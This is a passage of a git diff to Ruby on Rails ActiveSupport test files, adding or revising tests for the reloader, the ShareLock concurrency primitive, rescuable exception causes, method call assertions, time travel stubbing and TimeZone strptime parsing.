:precision => 1, :significant => false, :separator => ',') assert_equal '1 Million', number_helper.number_to_human(1234567, :precision => 0, :significant => true, :separator => ',') #significant forced to false + assert_equal '1 Million', number_helper.number_to_human(999999) + assert_equal '1 Billion', number_helper.number_to_human(999999999) end end diff --git a/activesupport/test/ordered_options_test.rb b/activesupport/test/ordered_options_test.rb index fdc745b23b..18767a3536 100644 --- a/activesupport/test/ordered_options_test.rb +++ b/activesupport/test/ordered_options_test.rb @@ -85,4 +85,19 @@ class OrderedOptionsTest < ActiveSupport::TestCase assert_equal 42, a.method(:blah=).call(42) assert_equal 42, a.method(:blah).call end + + def test_raises_with_bang + a = ActiveSupport::OrderedOptions.new + a[:foo] = :bar + assert a.respond_to?(:foo!) + + assert_nothing_raised { a.foo! } + assert_equal a.foo, a.foo! + + assert_raises(KeyError) do + a.foo = nil + a.foo! + end + assert_raises(KeyError) { a.non_existing_key! } + end end diff --git a/activesupport/test/reloader_test.rb b/activesupport/test/reloader_test.rb new file mode 100644 index 0000000000..958cb49993 --- /dev/null +++ b/activesupport/test/reloader_test.rb @@ -0,0 +1,85 @@ +require 'abstract_unit' + +class ReloaderTest < ActiveSupport::TestCase + def test_prepare_callback + prepared = false + reloader.to_prepare { prepared = true } + + assert !prepared + reloader.prepare! + assert prepared + + prepared = false + reloader.wrap do + assert prepared + prepared = false + end + assert !prepared + end + + def test_only_run_when_check_passes + r = new_reloader { true } + invoked = false + r.to_run { invoked = true } + r.wrap { } + assert invoked + + r = new_reloader { false } + invoked = false + r.to_run { invoked = true } + r.wrap { } + assert !invoked + end + + def test_full_reload_sequence + called = [] + reloader.to_prepare { called << :prepare } + reloader.to_run { called << :reloader_run } + reloader.to_complete { called << :reloader_complete } + reloader.executor.to_run { called << :executor_run } + reloader.executor.to_complete { called << :executor_complete } + + reloader.wrap { } + assert_equal [:executor_run, :reloader_run, :prepare, :reloader_complete, :executor_complete], called + + called = [] + reloader.reload! + assert_equal [:executor_run, :reloader_run, :prepare, :reloader_complete, :executor_complete, :prepare], called + + reloader.check = lambda { false } + + called = [] + reloader.wrap { } + assert_equal [:executor_run, :executor_complete], called + + called = [] + reloader.reload! + assert_equal [:executor_run, :reloader_run, :prepare, :reloader_complete, :executor_complete, :prepare], called + end + + def test_class_unload_block + called = [] + reloader.before_class_unload { called << :before_unload } + reloader.after_class_unload { called << :after_unload } + reloader.to_run do + class_unload! do + called << :unload + end + end + reloader.wrap { called << :body } + + assert_equal [:before_unload, :unload, :after_unload, :body], called + end + + private + def new_reloader(&check) + Class.new(ActiveSupport::Reloader).tap do |r| + r.check = check + r.executor = Class.new(ActiveSupport::Executor) + end + end + + def reloader + @reloader ||= new_reloader { true } + end +end diff --git a/activesupport/test/rescuable_test.rb b/activesupport/test/rescuable_test.rb index bd43ad0797..e42e6d2973 100644 --- a/activesupport/test/rescuable_test.rb +++ b/activesupport/test/rescuable_test.rb @@ -3,9 +3,6 @@ require 'abstract_unit' class WraithAttack < StandardError end -class NuclearExplosion < StandardError -end - class MadRonon < StandardError end @@ -19,6 +16,10 @@ module WeirdError end class Stargate + # Nest this so the 'NuclearExplosion' handler needs a lexical const_get + # to find it. + class NuclearExplosion < StandardError; end + attr_accessor :result include ActiveSupport::Rescuable @@ -57,6 +58,14 @@ class Stargate raise MadRonon.new("dex") end + def fall_back_to_cause + # This exception is the cause and has a handler. + ronanize + rescue + # This is the exception we'll handle that doesn't have a cause. + raise 'unhandled RuntimeError with a handleable cause' + end + def weird StandardError.new.tap do |exc| def exc.weird? @@ -74,7 +83,6 @@ class Stargate def sos_first @result = 'sos_first' end - end class CoolStargate < Stargate @@ -127,4 +135,9 @@ class RescuableTest < ActiveSupport::TestCase result = @cool_stargate.send(:rescue_handlers).collect(&:first) assert_equal expected, result end + + def test_rescue_falls_back_to_exception_cause + @stargate.dispatch :fall_back_to_cause + assert_equal 'unhandled RuntimeError with a handleable cause', @stargate.result + end end diff --git a/activesupport/test/share_lock_test.rb b/activesupport/test/share_lock_test.rb new file mode 100644 index 0000000000..acefa185a8 --- /dev/null +++ b/activesupport/test/share_lock_test.rb @@ -0,0 +1,578 @@ +require 'abstract_unit' +require 'concurrent/atomic/count_down_latch' +require 'active_support/concurrency/share_lock' + +class ShareLockTest < ActiveSupport::TestCase + def setup + @lock = ActiveSupport::Concurrency::ShareLock.new + end + + def test_reentrancy + thread = Thread.new do + @lock.sharing { @lock.sharing {} } + @lock.exclusive { @lock.exclusive {} } + end + assert_threads_not_stuck thread + end + + def test_sharing_doesnt_block + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_latch| + assert_threads_not_stuck(Thread.new {@lock.sharing {} }) + end + end + + def test_sharing_blocks_exclusive + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + @lock.exclusive(no_wait: true) { flunk } # polling should fail + exclusive_thread = Thread.new { @lock.exclusive {} } + assert_threads_stuck_but_releasable_by_latch exclusive_thread, sharing_thread_release_latch + end + end + + def test_exclusive_blocks_sharing + with_thread_waiting_in_lock_section(:exclusive) do |exclusive_thread_release_latch| + sharing_thread = Thread.new { @lock.sharing {} } + assert_threads_stuck_but_releasable_by_latch sharing_thread, exclusive_thread_release_latch + end + end + + def test_multiple_exlusives_are_able_to_progress + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + exclusive_threads = (1..2).map do + Thread.new do + @lock.exclusive {} + end + end + + assert_threads_stuck_but_releasable_by_latch exclusive_threads, sharing_thread_release_latch + end + end + + def test_sharing_is_upgradeable_to_exclusive + upgrading_thread = Thread.new do + @lock.sharing do + @lock.exclusive {} + end + end + assert_threads_not_stuck upgrading_thread + end + + def test_exclusive_upgrade_waits_for_other_sharers_to_leave + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + in_sharing = Concurrent::CountDownLatch.new + + upgrading_thread = Thread.new do + @lock.sharing do + in_sharing.count_down + @lock.exclusive {} + end + end + + in_sharing.wait + assert_threads_stuck_but_releasable_by_latch upgrading_thread, sharing_thread_release_latch + end + end + + def test_exclusive_matching_purpose + [true, false].each do |use_upgrading| + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + exclusive_threads = (1..2).map do + Thread.new do + @lock.send(use_upgrading ? :sharing : :tap) do + @lock.exclusive(purpose: :load, compatible: [:load, :unload]) {} + end + end + end + + assert_threads_stuck_but_releasable_by_latch exclusive_threads, sharing_thread_release_latch + end + end + end + + def test_killed_thread_loses_lock + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + thread = Thread.new do + @lock.sharing do + @lock.exclusive {} + end + end + + assert_threads_stuck thread + thread.kill + + sharing_thread_release_latch.count_down + + thread = Thread.new do + @lock.exclusive {} + end + + assert_threads_not_stuck thread + end + end + + def test_exclusive_conflicting_purpose + [true, false].each do |use_upgrading| + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + begin + together = Concurrent::CyclicBarrier.new(2) + conflicting_exclusive_threads = [ + Thread.new do + @lock.send(use_upgrading ? :sharing : :tap) do + together.wait + @lock.exclusive(purpose: :red, compatible: [:green, :purple]) {} + end + end, + Thread.new do + @lock.send(use_upgrading ? :sharing : :tap) do + together.wait + @lock.exclusive(purpose: :blue, compatible: [:green]) {} + end + end + ] + + assert_threads_stuck conflicting_exclusive_threads # wait for threads to get into their respective `exclusive {}` blocks + + # This thread will be stuck as long as any other thread is in + # a sharing block. While it's blocked, it holds no lock, so it + # doesn't interfere with any other attempts. + no_purpose_thread = Thread.new do + @lock.exclusive {} + end + assert_threads_stuck no_purpose_thread + + # This thread is compatible with both of the "primary" + # attempts above. It's initially stuck on the outer share + # lock, but as soon as that's released, it can run -- + # regardless of whether those threads hold share locks. + compatible_thread = Thread.new do + @lock.exclusive(purpose: :green, compatible: []) {} + end + assert_threads_stuck compatible_thread + + assert_threads_stuck conflicting_exclusive_threads + + sharing_thread_release_latch.count_down + + assert_threads_not_stuck compatible_thread # compatible thread is now able to squeak through + + if use_upgrading + # The "primary" threads both each hold a share lock, and are + # mutually incompatible; they're still stuck. + assert_threads_stuck conflicting_exclusive_threads + + # The thread without a specified purpose is also stuck; it's + # not compatible with anything. + assert_threads_stuck no_purpose_thread + else + # As the primaries didn't hold a share lock, as soon as the + # outer one was released, all the exclusive locks are free + # to be acquired in turn. + + assert_threads_not_stuck conflicting_exclusive_threads + assert_threads_not_stuck no_purpose_thread + end + ensure + conflicting_exclusive_threads.each(&:kill) + no_purpose_thread.kill + end + end + end + end + + def test_exclusive_ordering + scratch_pad = [] + scratch_pad_mutex = Mutex.new + + load_params = [:load, [:load]] + unload_params = [:unload, [:unload, :load]] + + all_sharing = Concurrent::CyclicBarrier.new(4) + + [load_params, load_params, unload_params, unload_params].permutation do |thread_params| + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + threads = thread_params.map do |purpose, compatible| + Thread.new do + @lock.sharing do + all_sharing.wait + @lock.exclusive(purpose: purpose, compatible: compatible) do + scratch_pad_mutex.synchronize { scratch_pad << purpose } + end + end + end + end + + sleep(0.01) + scratch_pad_mutex.synchronize { assert_empty scratch_pad } + + sharing_thread_release_latch.count_down + + assert_threads_not_stuck threads + scratch_pad_mutex.synchronize do + assert_equal [:load, :load, :unload, :unload], scratch_pad + scratch_pad.clear + end + end + end + end + + def test_new_share_attempts_block_on_waiting_exclusive + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + release_exclusive = Concurrent::CountDownLatch.new + + waiting_exclusive = Thread.new do + @lock.sharing do + @lock.exclusive do + release_exclusive.wait + end + end + end + assert_threads_stuck waiting_exclusive + + late_share_attempt = Thread.new do + @lock.sharing {} + end + assert_threads_stuck late_share_attempt + + sharing_thread_release_latch.count_down + assert_threads_stuck late_share_attempt + + release_exclusive.count_down + assert_threads_not_stuck late_share_attempt + end + end + + def test_share_remains_reentrant_ignoring_a_waiting_exclusive + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + ready = Concurrent::CyclicBarrier.new(2) + attempt_reentrancy = Concurrent::CountDownLatch.new + + sharer = Thread.new do + @lock.sharing do + ready.wait + attempt_reentrancy.wait + @lock.sharing {} + end + end + + exclusive = Thread.new do + @lock.sharing do + ready.wait + @lock.exclusive {} + end + end + + assert_threads_stuck exclusive + + attempt_reentrancy.count_down + + assert_threads_not_stuck sharer + assert_threads_stuck exclusive + end + end + + def test_compatible_exclusives_cooperate_to_both_proceed + ready = Concurrent::CyclicBarrier.new(2) + done = Concurrent::CyclicBarrier.new(2) + + threads = 2.times.map do + Thread.new do + @lock.sharing do + ready.wait + @lock.exclusive(purpose: :x, compatible: [:x], after_compatible: [:x]) {} + done.wait + end + end + end + + assert_threads_not_stuck threads + end + + def test_manual_yield + ready = Concurrent::CyclicBarrier.new(2) + done = Concurrent::CyclicBarrier.new(2) + + threads = [ + Thread.new do + @lock.sharing do + ready.wait + @lock.exclusive(purpose: :x) {} + done.wait + end + end, + + Thread.new do + @lock.sharing do + ready.wait + @lock.yield_shares(compatible: [:x]) do + done.wait + end + end + end, + ] + + assert_threads_not_stuck threads + end + + def test_manual_incompatible_yield + ready = Concurrent::CyclicBarrier.new(2) + done = Concurrent::CyclicBarrier.new(2) + + threads = [ + Thread.new do + @lock.sharing do + ready.wait + @lock.exclusive(purpose: :x) {} + done.wait + end + end, + + Thread.new do + @lock.sharing do + ready.wait + @lock.yield_shares(compatible: [:y]) do + done.wait + end + end + end, + ] + + assert_threads_stuck threads + ensure + threads.each(&:kill) if threads + end + + def test_manual_recursive_yield + ready = Concurrent::CyclicBarrier.new(2) + done = Concurrent::CyclicBarrier.new(2) + do_nesting = Concurrent::CountDownLatch.new + + threads = [ + Thread.new do + @lock.sharing do + ready.wait + @lock.exclusive(purpose: :x) {} + done.wait + end + end, + + Thread.new do + @lock.sharing do + @lock.yield_shares(compatible: [:x]) do + @lock.sharing do + ready.wait + do_nesting.wait + @lock.yield_shares(compatible: [:x, :y]) do + done.wait + end + end + end + end + end + ] + + assert_threads_stuck threads + do_nesting.count_down + + assert_threads_not_stuck threads + end + + def test_manual_recursive_yield_cannot_expand_outer_compatible + ready = Concurrent::CyclicBarrier.new(2) + do_compatible_nesting = Concurrent::CountDownLatch.new + in_compatible_nesting = Concurrent::CountDownLatch.new + + incompatible_thread = Thread.new do + @lock.sharing do + ready.wait + @lock.exclusive(purpose: :x) {} + end + end + + yield_shares_thread = Thread.new do + @lock.sharing do + ready.wait + @lock.yield_shares(compatible: [:y]) do + do_compatible_nesting.wait + @lock.sharing do + @lock.yield_shares(compatible: [:x, :y]) do + in_compatible_nesting.wait + end + end + end + end + end + + assert_threads_stuck incompatible_thread + do_compatible_nesting.count_down + assert_threads_stuck incompatible_thread + in_compatible_nesting.count_down + assert_threads_not_stuck [yield_shares_thread, incompatible_thread] + end + + def test_manual_recursive_yield_restores_previous_compatible + ready = Concurrent::CyclicBarrier.new(2) + do_nesting = Concurrent::CountDownLatch.new + after_nesting = Concurrent::CountDownLatch.new + + incompatible_thread = Thread.new do + ready.wait + @lock.exclusive(purpose: :z) {} + end + + recursive_yield_shares_thread = Thread.new do + @lock.sharing do + ready.wait + @lock.yield_shares(compatible: [:y]) do + do_nesting.wait + @lock.sharing do + @lock.yield_shares(compatible: [:x, :y]) {} + end + after_nesting.wait + end + end + end + + assert_threads_stuck incompatible_thread + do_nesting.count_down + assert_threads_stuck incompatible_thread + + compatible_thread = Thread.new do + @lock.exclusive(purpose: :y) {} + end + assert_threads_not_stuck compatible_thread + + post_nesting_incompatible_thread = Thread.new do + @lock.exclusive(purpose: :x) {} + end + assert_threads_stuck post_nesting_incompatible_thread + + after_nesting.count_down + assert_threads_not_stuck recursive_yield_shares_thread + # post_nesting_incompatible_thread can now proceed + assert_threads_not_stuck post_nesting_incompatible_thread + # assert_threads_not_stuck can now proceed + assert_threads_not_stuck incompatible_thread + end + + def test_in_shared_section_incompatible_non_upgrading_threads_cannot_preempt_upgrading_threads + scratch_pad = [] + scratch_pad_mutex = Mutex.new + + upgrading_load_params = [:load, [:load], true] + non_upgrading_unload_params = [:unload, [:load, :unload], false] + + [upgrading_load_params, non_upgrading_unload_params].permutation do |thread_params| + with_thread_waiting_in_lock_section(:sharing) do |sharing_thread_release_latch| + threads = thread_params.map do |purpose, compatible, use_upgrading| + Thread.new do + @lock.send(use_upgrading ? :sharing : :tap) do + @lock.exclusive(purpose: purpose, compatible: compatible) do + scratch_pad_mutex.synchronize { scratch_pad << purpose } + end + end + end + end + + assert_threads_stuck threads + scratch_pad_mutex.synchronize { assert_empty scratch_pad } + + sharing_thread_release_latch.count_down + + assert_threads_not_stuck threads + scratch_pad_mutex.synchronize do + assert_equal [:load, :unload], scratch_pad + scratch_pad.clear + end + end + end + end + + private + + module CustomAssertions + SUFFICIENT_TIMEOUT = 0.2 + + private + + def assert_threads_stuck_but_releasable_by_latch(threads, latch) + assert_threads_stuck threads + latch.count_down + assert_threads_not_stuck threads + end + + def assert_threads_stuck(threads) + sleep(SUFFICIENT_TIMEOUT) # give threads time to do their business + assert(Array(threads).all? { |t| t.join(0.001).nil? }) + end + + def assert_threads_not_stuck(threads) + assert(Array(threads).all? { |t| t.join(SUFFICIENT_TIMEOUT) }) + end + end + + class CustomAssertionsTest < ActiveSupport::TestCase + include CustomAssertions + + def setup + @latch = Concurrent::CountDownLatch.new + @thread = Thread.new { @latch.wait } + end + + def teardown + @latch.count_down + @thread.join + end + + def test_happy_path + assert_threads_stuck_but_releasable_by_latch @thread, @latch + end + + def test_detects_stuck_thread + assert_raises(Minitest::Assertion) do + assert_threads_not_stuck @thread + end + end + + def test_detects_free_thread + @latch.count_down + assert_raises(Minitest::Assertion) do + assert_threads_stuck @thread + end + end + + def test_detects_already_released + @latch.count_down + assert_raises(Minitest::Assertion) do + assert_threads_stuck_but_releasable_by_latch @thread, @latch + end + end + + def test_detects_remains_latched + another_latch = Concurrent::CountDownLatch.new + assert_raises(Minitest::Assertion) do + assert_threads_stuck_but_releasable_by_latch @thread, another_latch + end + end + end + + include CustomAssertions + + def with_thread_waiting_in_lock_section(lock_section) + in_section = Concurrent::CountDownLatch.new + section_release = Concurrent::CountDownLatch.new + + stuck_thread = Thread.new do + @lock.send(lock_section) do + in_section.count_down + section_release.wait + end + end + + in_section.wait + + yield section_release + ensure + section_release.count_down + stuck_thread.join # clean up + end +end diff --git a/activesupport/test/tagged_logging_test.rb b/activesupport/test/tagged_logging_test.rb index 03a63e94e8..917fa46c96 100644 --- a/activesupport/test/tagged_logging_test.rb +++ b/activesupport/test/tagged_logging_test.rb @@ -72,11 +72,11 @@ class TaggedLoggingTest < ActiveSupport::TestCase test "keeps each tag in their own thread" do @logger.tagged("BCX") do Thread.new do - @logger.tagged("OMG") { @logger.info "Cool story bro" } + @logger.tagged("OMG") { @logger.info "Cool story" } end.join @logger.info "Funky time" end - assert_equal "[OMG] Cool story bro\n[BCX] Funky time\n", @output.string + assert_equal "[OMG] Cool story\n[BCX] Funky time\n", @output.string end test "keeps each tag in their own instance" do @@ -84,11 +84,11 @@ class TaggedLoggingTest < ActiveSupport::TestCase @other_logger = ActiveSupport::TaggedLogging.new(MyLogger.new(@other_output)) @logger.tagged("OMG") do @other_logger.tagged("BCX") do - @logger.info "Cool story bro" + @logger.info "Cool story" @other_logger.info "Funky time" end end - assert_equal "[OMG] Cool story bro\n", @output.string + assert_equal "[OMG] Cool story\n", @output.string assert_equal "[BCX] Funky time\n", @other_output.string end @@ -97,11 +97,11 @@ class TaggedLoggingTest < ActiveSupport::TestCase Thread.new do @logger.tagged("OMG") do @logger.flush - @logger.info "Cool story bro" + @logger.info "Cool story" end end.join end - assert_equal "[FLUSHED]\nCool story bro\n", @output.string + assert_equal "[FLUSHED]\nCool story\n", @output.string end test "mixed levels of tagging" do diff --git a/activesupport/test/test_case_test.rb b/activesupport/test/test_case_test.rb index 151b623171..18228a2ac5 100644 --- a/activesupport/test/test_case_test.rb +++ b/activesupport/test/test_case_test.rb @@ -56,6 +56,14 @@ class AssertDifferenceTest < ActiveSupport::TestCase end end + def test_assert_difference_retval + incremented = assert_difference '@object.num', +1 do + @object.increment + end + + assert_equal incremented, 1 + end + def test_assert_difference_with_implicit_difference assert_difference '@object.num' do @object.increment @@ -205,15 +213,4 @@ class TestOrderTest < ActiveSupport::TestCase assert_equal :random, self.class.test_order assert_equal :random, Class.new(ActiveSupport::TestCase).test_order end - - def test_i_suck_and_my_tests_are_order_dependent! - ActiveSupport::TestCase.test_order = :random - - klass = Class.new(ActiveSupport::TestCase) do - i_suck_and_my_tests_are_order_dependent! - end - - assert_equal :alpha, klass.test_order - assert_equal :random, ActiveSupport::TestCase.test_order - end end diff --git a/activesupport/test/testing/method_call_assertions_test.rb b/activesupport/test/testing/method_call_assertions_test.rb new file mode 100644 index 0000000000..3e5ba7c079 --- /dev/null +++ b/activesupport/test/testing/method_call_assertions_test.rb @@ -0,0 +1,123 @@ +require 'abstract_unit' +require 'active_support/testing/method_call_assertions' + +class MethodCallAssertionsTest < ActiveSupport::TestCase + include ActiveSupport::Testing::MethodCallAssertions + + class Level + def increment; 1; end + def decrement; end + def <<(arg); end + end + + setup do + @object = Level.new + end + + def test_assert_called_with_defaults_to_expect_once + assert_called @object, :increment do + @object.increment + end + end + + def test_assert_called_more_than_once + assert_called(@object, :increment, times: 2) do + @object.increment + @object.increment + end + end + + def test_assert_called_method_with_arguments + assert_called(@object, :<<) do + @object << 2 + end + end + + def test_assert_called_returns + assert_called(@object, :increment, returns: 10) do + assert_equal 10, @object.increment + end + end + + def test_assert_called_failure + error = assert_raises(Minitest::Assertion) do + assert_called(@object, :increment) do + # Call nothing... + end + end + + assert_equal "Expected increment to be called 1 times, but was called 0 times.\nExpected: 1\n Actual: 0", error.message + end + + def test_assert_called_with_message + error = assert_raises(Minitest::Assertion) do + assert_called(@object, :increment, 'dang it') do + # Call nothing... + end + end + + assert_match(/dang it.\nExpected increment/, error.message) + end + + def test_assert_called_with + assert_called_with(@object, :increment) do + @object.increment + end + end + + def test_assert_called_with_arguments + assert_called_with(@object, :<<, [ 2 ]) do + @object << 2 + end + end + + def test_assert_called_with_failure + assert_raises(MockExpectationError) do + assert_called_with(@object, :<<, [ 4567 ]) do + @object << 2 + end + end + end + + def test_assert_called_with_returns + assert_called_with(@object, :increment, returns: 1) do + @object.increment + end + end + + def test_assert_called_with_multiple_expected_arguments + assert_called_with(@object, :<<, [ [ 1 ], [ 2 ] ]) do + @object << 1 + @object << 2 + end + end + + def test_assert_not_called + assert_not_called(@object, :decrement) do + @object.increment + end + end + + def test_assert_not_called_failure + error = assert_raises(Minitest::Assertion) do + assert_not_called(@object, :increment) do + @object.increment + end + end + + assert_equal "Expected increment to be called 0 times, but was called 1 times.\nExpected: 0\n Actual: 1", error.message + end + + def test_stub_any_instance + stub_any_instance(Level) do |instance| + assert_equal instance, Level.new + end + end + + def test_stub_any_instance_with_instance + stub_any_instance(Level, instance: @object) do |instance| + assert_equal @object, instance + assert_equal instance, Level.new + end + end +end diff --git a/activesupport/test/time_travel_test.rb b/activesupport/test/time_travel_test.rb index 676a143692..59c3e52c2f 100644 --- a/activesupport/test/time_travel_test.rb +++ b/activesupport/test/time_travel_test.rb @@ -1,83 +1,90 @@ require 'abstract_unit' -require 'active_support/core_ext/date' require 'active_support/core_ext/date_time' require 'active_support/core_ext/numeric/time' class TimeTravelTest < ActiveSupport::TestCase - setup do - Time.stubs now: Time.now - end - teardown do travel_back end def test_time_helper_travel - expected_time = Time.now + 1.day - travel 1.day - - assert_equal expected_time.to_s(:db), Time.now.to_s(:db) - assert_equal expected_time.to_date, Date.today - assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db) - end - - def test_time_helper_travel_with_block - expected_time = Time.now + 1.day + Time.stub(:now, Time.now) do + expected_time = Time.now + 1.day + travel 1.day - travel 1.day do assert_equal expected_time.to_s(:db), Time.now.to_s(:db) assert_equal expected_time.to_date, Date.today assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db) end - - assert_not_equal expected_time.to_s(:db), Time.now.to_s(:db) - assert_not_equal expected_time.to_date, Date.today - assert_not_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db) end - def test_time_helper_travel_to - expected_time = Time.new(2004, 11, 24, 01, 04, 44) - travel_to expected_time - - assert_equal expected_time, Time.now - assert_equal Date.new(2004, 11, 24), Date.today - assert_equal expected_time.to_datetime, DateTime.now + def test_time_helper_travel_with_block + Time.stub(:now, Time.now) do + expected_time = Time.now + 1.day + + travel 1.day do + assert_equal expected_time.to_s(:db), Time.now.to_s(:db) + assert_equal expected_time.to_date, Date.today + assert_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db) + end + + assert_not_equal expected_time.to_s(:db), Time.now.to_s(:db) + assert_not_equal expected_time.to_date, Date.today + assert_not_equal expected_time.to_datetime.to_s(:db), DateTime.now.to_s(:db) + end end - def test_time_helper_travel_to_with_block - expected_time = Time.new(2004, 11, 24, 01, 04, 44) + def test_time_helper_travel_to + Time.stub(:now, Time.now) do + expected_time = Time.new(2004, 11, 24, 01, 04, 44) + travel_to expected_time - travel_to expected_time do assert_equal expected_time, Time.now assert_equal Date.new(2004, 11, 24), Date.today assert_equal expected_time.to_datetime, DateTime.now end + end - assert_not_equal expected_time, Time.now - assert_not_equal Date.new(2004, 11, 24), Date.today - assert_not_equal expected_time.to_datetime, DateTime.now + def test_time_helper_travel_to_with_block + Time.stub(:now, Time.now) do + expected_time = Time.new(2004, 11, 24, 01, 04, 44) + + travel_to expected_time do + assert_equal expected_time, Time.now + assert_equal Date.new(2004, 11, 24), Date.today + assert_equal expected_time.to_datetime, DateTime.now + end + + assert_not_equal expected_time, Time.now + assert_not_equal Date.new(2004, 11, 24), Date.today + assert_not_equal expected_time.to_datetime, DateTime.now + end end def test_time_helper_travel_back - expected_time = Time.new(2004, 11, 24, 01, 04, 44) + Time.stub(:now, Time.now) do + expected_time = Time.new(2004, 11, 24, 01, 04, 44) - travel_to expected_time - assert_equal expected_time, Time.now - assert_equal Date.new(2004, 11, 24), Date.today - assert_equal expected_time.to_datetime, DateTime.now - travel_back + travel_to expected_time + assert_equal expected_time, Time.now + assert_equal Date.new(2004, 11, 24), Date.today + assert_equal expected_time.to_datetime, DateTime.now + travel_back - assert_not_equal expected_time, Time.now - assert_not_equal Date.new(2004, 11, 24), Date.today - assert_not_equal expected_time.to_datetime, DateTime.now + assert_not_equal expected_time, Time.now + assert_not_equal Date.new(2004, 11, 24), Date.today + assert_not_equal expected_time.to_datetime, DateTime.now + end end def test_travel_to_will_reset_the_usec_to_avoid_mysql_rouding - travel_to Time.utc(2014, 10, 10, 10, 10, 50, 999999) do - assert_equal 50, Time.now.sec - assert_equal 0, Time.now.usec - assert_equal 50, DateTime.now.sec - assert_equal 0, DateTime.now.usec + Time.stub(:now, Time.now) do + travel_to Time.utc(2014, 10, 10, 10, 10, 50, 999999) do + assert_equal 50, Time.now.sec + assert_equal 0, Time.now.usec + assert_equal 50, DateTime.now.sec + assert_equal 0, DateTime.now.usec + end end end end diff --git a/activesupport/test/time_zone_test.rb b/activesupport/test/time_zone_test.rb index 7888b9919b..a15d5c6a0e 100644 --- a/activesupport/test/time_zone_test.rb +++ b/activesupport/test/time_zone_test.rb @@ -1,6 +1,7 @@ require 'abstract_unit' require 'active_support/time' require 'time_zone_test_helpers' +require 'yaml' class TimeZoneTest < ActiveSupport::TestCase include TimeZoneTestHelpers @@ -252,9 +253,10 @@ class TimeZoneTest < ActiveSupport::TestCase def test_parse_with_incomplete_date zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - zone.stubs(:now).returns zone.local(1999,12,31) - twz = zone.parse('19:00:00') - assert_equal Time.utc(1999,12,31,19), twz.time + zone.stub(:now, zone.local(1999,12,31)) do + twz = zone.parse('19:00:00') + assert_equal Time.utc(1999,12,31,19), twz.time + end end def test_parse_with_day_omitted @@ -284,9 +286,10 @@ class TimeZoneTest < ActiveSupport::TestCase def test_parse_with_missing_time_components zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - zone.stubs(:now).returns zone.local(1999, 12, 31, 12, 59, 59) - twz = zone.parse('2012-12-01') - assert_equal Time.utc(2012, 12, 1), twz.time + zone.stub(:now, zone.local(1999, 12, 31, 12, 59, 59)) do + twz = zone.parse('2012-12-01') + assert_equal Time.utc(2012, 12, 1), twz.time + end end def test_parse_with_javascript_date @@ -311,6 +314,80 @@ class TimeZoneTest < ActiveSupport::TestCase end end + def test_strptime + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.strptime('1999-12-31 12:00:00', '%Y-%m-%d %H:%M:%S') + assert_equal Time.utc(1999,12,31,17), twz + assert_equal Time.utc(1999,12,31,12), twz.time + assert_equal Time.utc(1999,12,31,17), twz.utc + assert_equal zone, twz.time_zone + end + + def test_strptime_with_nondefault_time_zone + with_tz_default ActiveSupport::TimeZone['Pacific Time (US & Canada)'] do + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.strptime('1999-12-31 12:00:00', '%Y-%m-%d %H:%M:%S') + assert_equal Time.utc(1999,12,31,17), twz + assert_equal Time.utc(1999,12,31,12), twz.time + assert_equal Time.utc(1999,12,31,17), twz.utc + assert_equal zone, twz.time_zone + end + end + + def test_strptime_with_explicit_time_zone_as_abbrev + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.strptime('1999-12-31 12:00:00 PST', '%Y-%m-%d %H:%M:%S %Z') + assert_equal Time.utc(1999,12,31,20), twz + assert_equal Time.utc(1999,12,31,15), twz.time + assert_equal Time.utc(1999,12,31,20), twz.utc + assert_equal zone, twz.time_zone + end + + def test_strptime_with_explicit_time_zone_as_h_offset + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.strptime('1999-12-31 12:00:00 -08', '%Y-%m-%d %H:%M:%S %:::z') + assert_equal Time.utc(1999,12,31,20), twz + assert_equal Time.utc(1999,12,31,15), twz.time + assert_equal Time.utc(1999,12,31,20), twz.utc + assert_equal zone, twz.time_zone + end + + def test_strptime_with_explicit_time_zone_as_hm_offset + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.strptime('1999-12-31 12:00:00 -08:00', '%Y-%m-%d %H:%M:%S %:z') + assert_equal Time.utc(1999,12,31,20), twz + assert_equal Time.utc(1999,12,31,15), twz.time + assert_equal Time.utc(1999,12,31,20), twz.utc + assert_equal zone, twz.time_zone + end + + def test_strptime_with_explicit_time_zone_as_hms_offset + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.strptime('1999-12-31 12:00:00 -08:00:00', '%Y-%m-%d %H:%M:%S %::z') + assert_equal Time.utc(1999,12,31,20), twz + assert_equal Time.utc(1999,12,31,15), twz.time + assert_equal Time.utc(1999,12,31,20), twz.utc + assert_equal zone, twz.time_zone + end + + def test_strptime_with_almost_explicit_time_zone + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + twz = zone.strptime('1999-12-31 12:00:00 %Z', '%Y-%m-%d %H:%M:%S %%Z') + assert_equal Time.utc(1999,12,31,17), twz + assert_equal Time.utc(1999,12,31,12), twz.time + assert_equal Time.utc(1999,12,31,17), twz.utc + assert_equal zone, twz.time_zone + end + + def test_strptime_with_day_omitted + with_env_tz 'US/Eastern' do + zone = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + assert_equal Time.local(2000, 2, 1), zone.strptime('Feb', '%b', Time.local(2000, 1, 1)) + assert_equal Time.local(2005, 2, 1), zone.strptime('Feb 2005', '%b %Y', Time.local(2000, 1, 1)) + assert_equal Time.local(2005, 2, 2), zone.strptime('2 Feb 2005', 